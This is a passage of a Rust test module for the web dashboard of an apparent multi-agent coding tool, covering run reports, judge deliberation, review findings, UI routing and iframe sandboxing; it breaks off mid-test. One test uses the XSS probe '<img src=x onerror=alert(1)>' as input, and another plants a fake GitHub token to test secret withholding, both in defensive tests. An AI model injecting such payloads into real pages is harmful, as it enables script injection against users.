16854 state.save_under(f.home.path()).unwrap();
16855 }
16856 }
16857
16858 #[tokio::test]
16859 async fn the_run_list_is_newest_first_and_honours_a_limit() {
16860 let f = Fixture::start().await;
16861 for id in [
16862 "20260902-140501-aaaa",
16863 "20260902-140502-bbbb",
16864 "20260902-140503-cccc",
16865 ] {
16866 write_run(&f.runs(), id, RunStatus::Merged);
16867 }
16868
16869 let all = f.get("/api/runs").await.json();
16870 let capped = f.get("/api/runs?limit=2").await.json();
16871
16872 assert_eq!(all[0]["id"], "20260902-140503-cccc");
16873 assert_eq!(all.as_array().map(Vec::len), Some(3));
16874 assert_eq!(capped.as_array().map(Vec::len), Some(2));
16875 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
16876 }
16877
16878 #[tokio::test]
16879 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
16880 let f = Fixture::start().await;
16881 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
16882
16883 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
16884
16885 assert_eq!(res.status, 200);
16886 assert!(
16887 res.headers
16888 .contains("content-type: text/plain; charset=utf-8"),
16889 "a browser must render it, not download it: {}",
16890 res.headers
16891 );
16892 assert!(
16896 res.body.contains("20260902-140501-a1b2"),
16897 "the report is about the run that was asked for: {}",
16898 res.body
16899 );
16900 }
16901
16902 #[tokio::test]
16903 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
16904 crate::run::pin_test_home();
16906 let f = Fixture::start().await;
16907 let id = "20260902-140501-a1b2";
16908 write_run(&f.runs(), id, RunStatus::Stalled);
16909 let path = f.runs().join(id).join("run.json");
16912 let mut v: serde_json::Value =
16913 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16914 v["tally"] = serde_json::json!({
16915 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16916 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
16917 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
16918 "met_quorum": false, "rankings": 1
16919 });
16920 v["reviews"] = serde_json::json!([{
16921 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
16922 "e2e_deferred": true,
16923 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
16924 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
16925 ]}]
16926 }]);
16927 std::fs::write(&path, v.to_string()).unwrap();
16928 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
16929 std::fs::write(
16930 f.runs().join("20260902-140502-dead").join("run.json"),
16931 "{not json",
16932 )
16933 .unwrap();
16934
16935 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16936
16937 assert_eq!(res.status, 200, "{}", res.body);
16938 assert!(res.headers.contains("content-type: application/json"));
16939 let j = res.json();
16940 assert_eq!(j["schema"], 1);
16941 assert_eq!(j["header"]["id"], id);
16942 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
16943 let kinds: Vec<&str> = j["sections"]
16944 .as_array()
16945 .unwrap()
16946 .iter()
16947 .map(|s| s["kind"].as_str().unwrap())
16948 .collect();
16949 assert_eq!(kinds, ["candidates", "tally", "review"]);
16950 let tally = &j["sections"][1]["tally"];
16951 assert_eq!(
16952 (tally["decided"].clone(), tally["provisional"].clone()),
16953 (false.into(), true.into())
16954 );
16955 let round = &j["sections"][2]["rounds"][0];
16956 assert_eq!(round["e2e"]["state"], "deferred");
16957 assert_eq!(round["findings"][0]["severity"], "major");
16958 assert_eq!(round["findings"][0]["blocking"], true);
16959 assert_eq!(round["findings"][0]["state"], "open");
16960
16961 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
16963
16964 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
16966 assert_ne!(bad.status, 200, "{}", bad.body);
16967 assert_eq!(
16968 bad.status,
16969 f.get("/api/runs/20260902-140502-dead/report").await.status
16970 );
16971 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
16972 assert_eq!(
16973 f.get("/api/runs/20260902-999999-ffff/report.json")
16974 .await
16975 .status,
16976 404
16977 );
16978 }
16979
16980 #[tokio::test]
16981 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
16982 crate::run::pin_test_home();
16983 let f = Fixture::start().await;
16984 let id = "20260902-140503-delib";
16985 write_run(&f.runs(), id, RunStatus::Merged);
16986 let path = f.runs().join(id).join("run.json");
16987 let mut v: serde_json::Value =
16988 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16989 v["judgements"] = serde_json::json!([
16990 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16991 ]);
16992 v["tally"] = serde_json::json!({
16993 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16994 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
16995 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
16996 "met_quorum": true, "rankings": 1
16997 });
16998 v["deliberation"] = serde_json::json!([
16999 {
17000 "round": 1,
17001 "turns": [
17002 {
17003 "judge": 1,
17004 "agent": "judge-1",
17005 "body": "I prefer candidate **A** because it has cleaner tests.",
17006 "tentative": "A"
17007 }
17008 ]
17009 },
17010 {
17011 "round": 2,
17012 "turns": [
17013 {
17014 "judge": 1,
17015 "agent": "judge-1",
17016 "body": "Still thinking, no choice yet.",
17017 "tentative": null
17018 }
17019 ]
17020 }
17021 ]);
17022 std::fs::write(&path, v.to_string()).unwrap();
17023
17024 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17025 assert_eq!(res.status, 200, "{}", res.body);
17026 let j = res.json();
17027 let judging = j["sections"]
17028 .as_array()
17029 .unwrap()
17030 .iter()
17031 .find(|s| s["kind"] == "judging")
17032 .expect("judging section exists");
17033
17034 let delib_lines = judging["deliberation"].as_array().unwrap();
17036 assert_eq!(delib_lines.len(), 2);
17037 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17038 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17039
17040 let rounds = judging["rounds"].as_array().unwrap();
17042 assert_eq!(rounds.len(), 2);
17043 let r1_t0 = &rounds[0]["turns"][0];
17044 assert_eq!(r1_t0["judge"], 1);
17045 assert_eq!(r1_t0["agent"], "judge-1");
17046 assert_eq!(r1_t0["tentative"], "A");
17047 assert_eq!(
17048 r1_t0["body"],
17049 "I prefer candidate **A** because it has cleaner tests."
17050 );
17051 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17052
17053 let r2_t0 = &rounds[1]["turns"][0];
17054 assert_eq!(r2_t0["judge"], 1);
17055 assert_eq!(r2_t0["agent"], "judge-1");
17056 assert!(r2_t0["tentative"].is_null());
17057 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17058 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17059
17060 let id_empty = "20260902-140504-nodelib";
17062 write_run(&f.runs(), id_empty, RunStatus::Merged);
17063 let path_empty = f.runs().join(id_empty).join("run.json");
17064 let mut v_empty: serde_json::Value =
17065 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17066 v_empty["judgements"] = serde_json::json!([
17067 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17068 ]);
17069 v_empty["deliberation"] = serde_json::json!([]);
17070 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17071
17072 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17073 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17074 let j_empty = res_empty.json();
17075 let judging_empty = j_empty["sections"]
17076 .as_array()
17077 .unwrap()
17078 .iter()
17079 .find(|s| s["kind"] == "judging")
17080 .expect("judging section exists");
17081 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17082 }
17083
17084 #[tokio::test]
17085 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17086 let f = Fixture::start().await;
17087
17088 let html = f.get("/").await;
17089 let css = f.get("/app.css").await;
17090 let js = f.get("/app.js").await;
17091
17092 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17093 assert!(
17094 html.headers
17095 .contains("content-type: text/html; charset=utf-8")
17096 );
17097 assert!(css.headers.contains("content-type: text/css"));
17098 assert!(js.headers.contains("content-type: text/javascript"));
17099 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17100 }
17101
17102 #[test]
17103 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17104 let body = |name: &str| {
17105 let at = APP_JS
17106 .find(name)
17107 .unwrap_or_else(|| panic!("{name} missing"));
17108 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17109 };
17110 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17111 let note = body("function landRoundNote");
17112 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17113 assert!(note.contains("Land round ${round}"));
17114 let land = body("function renderLand");
17115 let note_at = land
17116 .find("landRoundNote(pr)")
17117 .expect("renderLand uses the note");
17118 assert!(
17119 note_at
17120 < land
17121 .find("roundRail(pr)")
17122 .expect("renderLand uses the rail")
17123 );
17124 }
17125
17126 #[test]
17127 fn the_runs_page_redesign_keeps_its_guards() {
17128 let body = |name: &str| {
17129 let at = APP_JS
17130 .find(name)
17131 .unwrap_or_else(|| panic!("{name} missing"));
17132 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17133 };
17134 let land = body("function renderLand");
17136 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17137 assert!(
17138 !land.contains("box.append("),
17139 "renderLand must use append()"
17140 );
17141 assert!(land.contains("append(box, ["));
17142 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17144 assert!(
17145 body("function applyRoute")
17146 .contains("route.name !== state.route.name || route.id !== state.route.id")
17147 );
17148 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17150 assert!(!INDEX_HTML.contains("advise-converge"));
17151 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17152 assert!(APP_JS.contains("provisional"));
17153 for id in [
17154 "run-tab-overview",
17155 "run-tab-timeline",
17156 "run-tab-report",
17157 "run-report",
17158 "runs-scope",
17159 ] {
17160 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17161 }
17162 assert!(!INDEX_HTML.contains("runs-tree"));
17163 assert!(!INDEX_HTML.contains("run-raw-panel"));
17164 assert!(APP_JS.contains("resume"));
17166 assert!(APP_JS.contains("unreadable"));
17168 }
17169
17170 #[test]
17171 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17172 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17173 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17174 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17175 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17176 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17177 assert!(APP_JS.contains("unreadable` : null"));
17179 }
17180
17181 #[test]
17182 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17183 let mut state = RunState::new(
17184 "/repo".into(),
17185 "main".into(),
17186 "abc".into(),
17187 "task".into(),
17188 crate::config::Config::default(),
17189 );
17190 state.status = RunStatus::Blocked;
17191 state.gate_ran = true;
17192 state.gate.push(crate::run::CommandOutcome {
17193 command: "cargo make check".into(),
17194 code: Some(1),
17195 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17196 duration_ms: 0,
17197 resource_blocked: false,
17198 });
17199 let view = RunDetailView::of(
17200 state,
17201 false,
17202 crate::run::Liveness::Unknown,
17203 None,
17204 None,
17205 None,
17206 );
17207 let value = serde_json::to_value(view).unwrap();
17208 assert_eq!(
17209 value["stop_reason"],
17210 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17211 );
17212 }
17213
17214 #[test]
17215 fn the_run_detail_payload_says_whether_the_run_is_done() {
17216 for (status, done) in [
17218 (RunStatus::Superseded, true),
17219 (RunStatus::Blocked, true),
17220 (RunStatus::Landing, false),
17221 ] {
17222 let mut state = RunState::new(
17223 std::path::PathBuf::from("/repo"),
17224 "main".to_owned(),
17225 "abc".to_owned(),
17226 "x".to_owned(),
17227 crate::config::Config::default(),
17228 );
17229 state.status = status;
17230 let v = serde_json::to_value(RunDetailView::of(
17231 state,
17232 false,
17233 crate::run::Liveness::Unknown,
17234 None,
17235 None,
17236 None,
17237 ))
17238 .unwrap();
17239 assert_eq!(v["done"], done, "{status:?}");
17240 }
17241 }
17242
17243 fn has_strong(nodes: &[md::Node]) -> bool {
17245 serde_json::to_string(nodes).unwrap().contains("strong")
17246 }
17247
17248 #[test]
17249 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17250 let mut state = RunState::new(
17251 std::path::PathBuf::from("/repo"),
17252 "main".to_owned(),
17253 "abc".to_owned(),
17254 "x".to_owned(),
17255 crate::config::Config::default(),
17256 );
17257 let proposal = |approach: &str| {
17258 serde_json::json!({
17259 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17260 })
17261 };
17262 state.advice = Some(
17263 serde_json::from_value(serde_json::json!({
17264 "records": [
17265 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17266 "proposal": proposal("do **this**")},
17267 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17268 ],
17269 "synthesis": "- one\n- **two**\n\n`code`",
17270 }))
17271 .unwrap(),
17272 );
17273 state.candidates = serde_json::from_value(serde_json::json!([
17274 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17275 "summary": "did **it**"},
17276 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17277 ]))
17278 .unwrap();
17279 state.reviews = serde_json::from_value(serde_json::json!([{
17282 "round": 1, "head": "h",
17283 "reviews": [{
17284 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17285 "findings": [
17286 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17287 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17288 ],
17289 }],
17290 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17291 "fix": {"agent": "a", "notes": "fixed **it**",
17292 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17293 }, {"round": 2, "head": "h2", "reviews": []}]))
17294 .unwrap();
17295
17296 let v = serde_json::to_value(RunDetailView::of(
17297 state,
17298 false,
17299 crate::run::Liveness::Unknown,
17300 None,
17301 None,
17302 None,
17303 ))
17304 .unwrap();
17305
17306 let strong = |p: &str| {
17307 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17308 assert!(n.to_string().contains("strong"), "{p}: {n}");
17309 };
17310 strong("/advice_md/synthesis");
17311 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17312 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17313 strong("/advice_md/approaches/0");
17314 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17315 strong("/candidate_summaries_md/0");
17316 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17317 strong("/reviews_md/0/reviewers/0/summary");
17318 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17319 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17320 assert!(f[1].to_string().contains("strong"));
17321 strong("/reviews_md/0/reconsideration/0");
17322 strong("/reviews_md/0/fix/notes");
17323 strong("/reviews_md/0/fix/rejected/0");
17324 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17325 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17326 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17328 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17329 }
17330
17331 #[test]
17332 fn a_run_without_advice_has_no_advice_md() {
17333 let state = RunState::new(
17334 std::path::PathBuf::from("/repo"),
17335 "main".to_owned(),
17336 "abc".to_owned(),
17337 "x".to_owned(),
17338 crate::config::Config::default(),
17339 );
17340 let p = run_prose_md(&state);
17341 assert!(p.advice_md.is_none());
17342 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
17343 }
17344
17345 #[test]
17346 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
17347 let store = ask::Questions::at(PathBuf::from("unused"));
17348 let gt = crate::github_text::Withheld {
17349 title: false,
17350 body: true,
17351 categories: vec!["sensitive-data".into()],
17352 };
17353 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
17354 let (detail, comparison) =
17355 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17356 let mut q = Question::new(
17357 "r".into(),
17358 "github-text".into(),
17359 "posting-gate".into(),
17360 "s".into(),
17361 detail,
17362 Vec::new(),
17363 );
17364 assert!(
17365 QuestionView::of(q.clone(), &store, false)
17366 .posting_view
17367 .is_none()
17368 );
17369 q.posting_comparison = Some(comparison);
17370 let view = QuestionView::of(q.clone(), &store, false);
17371 let field = &view.posting_view.unwrap().fields[0];
17372 assert_eq!(
17373 field
17374 .original
17375 .iter()
17376 .map(|f| f.text.as_str())
17377 .collect::<String>(),
17378 body
17379 );
17380 assert!(field.original[0].text.starts_with("<img"));
17381 let original_question: Question =
17382 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
17383 assert_eq!(original_question, q);
17384 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
17385 .original
17386 .start = 1;
17387 assert!(
17388 QuestionView::of(q.clone(), &store, false)
17389 .posting_view
17390 .is_none()
17391 );
17392 q.posting_comparison = original_question.posting_comparison;
17393 q.detail.push_str("extra context");
17394 assert!(
17395 QuestionView::of(q.clone(), &store, false)
17396 .posting_view
17397 .is_some()
17398 );
17399 q.detail.insert(0, 'x');
17400 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
17401 }
17402
17403 #[test]
17404 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
17405 let store = ask::Questions::at(PathBuf::from("unused"));
17406 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
17407 let gt = crate::github_text::Withheld::from_check(
17408 &crate::github_text::check("fix: x", body),
17409 "fix: x",
17410 body,
17411 )
17412 .unwrap();
17413 let (detail, comparison) =
17414 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
17415 let mut q = Question::new(
17416 "r".into(),
17417 "github-text".into(),
17418 "posting-gate".into(),
17419 "s".into(),
17420 detail,
17421 Vec::new(),
17422 );
17423 q.posting_comparison = Some(comparison);
17424 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
17425 let field = &value["posting_view"]["fields"][0];
17426 let group = &field["replacement_group"];
17427 let triggers = group["triggers"].as_array().unwrap();
17428 assert_eq!(triggers.len(), 2);
17429 assert_ne!(triggers[0], triggers[1]);
17430 for id in triggers {
17431 assert!(
17432 field["original"]
17433 .as_array()
17434 .unwrap()
17435 .iter()
17436 .any(|f| &f["pair"] == id)
17437 );
17438 assert!(
17439 !field["changed"]
17440 .as_array()
17441 .unwrap()
17442 .iter()
17443 .any(|f| &f["pair"] == id)
17444 );
17445 }
17446 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
17447 group["id"].as_u64().unwrap() as usize;
17448 assert!(
17449 QuestionView::of(q, &store, false).posting_view.is_none(),
17450 "group and trigger IDs cannot collide"
17451 );
17452 }
17453
17454 #[test]
17455 fn a_question_view_carries_markdown_for_each_thread_turn() {
17456 let home = TempDir::new().unwrap();
17457 let store = ask::Questions::at(home.path().join("questions"));
17458 let mut q = Question::new(
17459 "run".to_owned(),
17460 "implement".to_owned(),
17461 "impl-A".to_owned(),
17462 "which?".to_owned(),
17463 String::new(),
17464 Vec::new(),
17465 );
17466 q.say("plain words").unwrap();
17467 q.reply("use **this**", Vec::new()).unwrap();
17468 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
17469 let bodies = &v["thread_bodies_md"];
17470 assert_eq!(bodies.as_array().unwrap().len(), 2);
17471 assert!(!bodies[0].to_string().contains("strong"));
17472 assert!(bodies[1].to_string().contains("strong"));
17473 }
17474
17475 #[test]
17476 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17477 let home = TempDir::new().unwrap();
17478 let store = ask::Questions::at(home.path().join("questions"));
17479 let mut q = Question::new(
17480 "run".to_owned(),
17481 "conduct".to_owned(),
17482 "conduct".to_owned(),
17483 "which?".to_owned(),
17484 String::new(),
17485 Vec::new(),
17486 );
17487 q.say("plain words").unwrap();
17488 q.thread.push(ask::Turn {
17489 who: ask::Who::Agent,
17490 body: "Settled as `merge`".to_owned(),
17491 at: jiff::Timestamp::now(),
17492 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17493 });
17494 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
17495 let notes = &v["thread_notes_md"];
17496 assert_eq!(notes.as_array().unwrap().len(), 2);
17497 assert!(notes[0].is_null());
17498 let text = notes[1].to_string();
17499 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17500 assert!(APP_JS.contains("ask-turn-note"));
17501 }
17502
17503 #[test]
17504 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17505 assert!(APP_JS.contains("function landView(run, raw) {"));
17509 assert!(
17510 APP_JS.contains(
17511 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17512 )
17513 );
17514 assert!(APP_JS.contains("const pr = landView(run, raw);"));
17515 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17516 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17517 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17518 }
17519
17520 #[test]
17521 fn live_runs_are_never_hidden_or_folded_as_superseded() {
17522 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
17523 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17524 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17525 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17526 }
17527
17528 #[test]
17529 fn review_rounds_label_a_distinct_verified_head() {
17530 assert!(APP_JS.contains("round.verified_head"));
17531 assert!(APP_JS.contains("verified HEAD"));
17532 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17533 }
17534
17535 #[test]
17536 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17537 assert!(APP_JS.contains("blocked: { glyph:"));
17541 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17542
17543 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17547 assert!(
17548 APP_JS.contains(
17549 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17550 ),
17551 "the note line must name what a blocked task is waiting on, not just that it is blocked"
17552 );
17553 assert!(APP_JS.contains("if (status === \"blocked\") {"));
17557
17558 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17562 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17563 assert!(
17564 APP_JS.contains("location.hash = \"#/questions\";"),
17565 "a question node must jump to the Questions screen, not pretend to be a task"
17566 );
17567
17568 assert!(APP_JS.contains("Resolved questions"));
17571 assert!(APP_JS.contains("r.answersList.append("));
17572 assert!(APP_CSS.contains(".task-answers"));
17573 {
17574 let start = APP_JS
17575 .find("function updateTalkTaskRow")
17576 .expect("updateTalkTaskRow");
17577 let body = &APP_JS[start..];
17578 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17579 assert!(
17580 body.contains(
17581 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17582 ),
17583 "a chat-filed task row must link to the task page"
17584 );
17585 assert!(
17586 !body.contains("#/runs/") && !body.contains("#/queue/"),
17587 "the row must not branch to a run or the queue card"
17588 );
17589 assert!(APP_CSS.contains(".talk-task-link"));
17590 }
17591 }
17592
17593 #[test]
17594 fn a_task_notification_links_to_the_task_page() {
17595 let start = APP_JS
17597 .find("function noticeLink(")
17598 .expect("noticeLink exists");
17599 let body = &APP_JS[start..];
17600 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17601 assert!(
17602 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17603 "a task notice's link must target the task page"
17604 );
17605 assert!(
17606 !body.contains("#/queue/"),
17607 "regression: the task link must not go back to the Backlog route"
17608 );
17609 assert!(
17610 APP_JS.contains(
17611 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17612 ),
17613 "`#/tasks/<id>` must parse into the task route"
17614 );
17615
17616 assert!(
17618 APP_JS.contains(
17619 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17620 ),
17621 "`#/queue/<id>` must parse into a route carrying that id"
17622 );
17623
17624 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17628 assert!(APP_JS.contains("function consumeQueueFocus()"));
17629 assert!(APP_JS.contains("jumpToTask(id)"));
17630 }
17631
17632 #[test]
17635 fn chat_rows_put_the_title_alone_on_the_first_line() {
17636 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17637 assert!(APP_CSS.contains(
17638 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17639 ));
17640 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17641 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17642 }
17643
17644 #[test]
17645 fn run_rows_put_the_title_alone_on_the_first_line() {
17646 assert!(
17647 APP_CSS.contains(
17648 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17649 )
17650 );
17651 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17652 assert!(APP_JS.contains("class: \"card run-card\""));
17653 assert!(APP_JS.contains("class: \"repo run-id\""));
17654 }
17655
17656 #[test]
17660 fn wide_screens_show_list_and_preview_side_by_side() {
17661 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17663 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17664 assert!(APP_CSS.contains("main[data-split]"));
17665 assert!(APP_CSS.contains("body[data-split]"));
17666
17667 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17669 assert!(
17670 APP_JS.contains(
17671 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17672 )
17673 );
17674 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17675 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17676 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17677
17678 assert!(APP_JS.contains("function markSelected() {"));
17680 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17681 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17682 assert!(
17684 APP_CSS.contains(
17685 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17686 )
17687 );
17688
17689 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17691 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17692 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17693 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17694
17695 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17699 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17700 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17701 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17702
17703 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17705 }
17706
17707 #[test]
17708 fn panel_sandbox_carries_exactly_popups() {
17709 let needle = "sandbox: \"";
17710 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
17711 assert_eq!(
17712 matches.len(),
17713 1,
17714 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
17715 );
17716 let start = matches[0].0 + needle.len();
17717 let end = APP_JS[start..]
17718 .find('"')
17719 .expect("sandbox attribute value must be terminated by a closing quote");
17720 let val = &APP_JS[start..start + end];
17721 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
17722 let expected: std::collections::BTreeSet<&str> =
17723 ["allow-popups", "allow-popups-to-escape-sandbox"]
17724 .into_iter()
17725 .collect();
17726 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
17727 assert!(
17728 !tokens.contains("allow-scripts"),
17729 "allow-scripts must never be present in sandbox"
17730 );
17731 assert!(
17732 !tokens.contains("allow-same-origin"),
17733 "allow-same-origin must never be present in sandbox"
17734 );
17735 }
17736
17737 #[test]
17738 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
17739 assert!(
17748 APP_JS.contains(
17749 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
17750 ),
17751 "the search-clearing branch must run before state.queueFocus is cleared, or the \
17752 recursive renderQueue() call has nothing left to jump to"
17753 );
17754 assert!(
17755 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
17756 "state.queueFocus must be cleared only once the jump has landed, so a card that \
17757 arrives later still gets it"
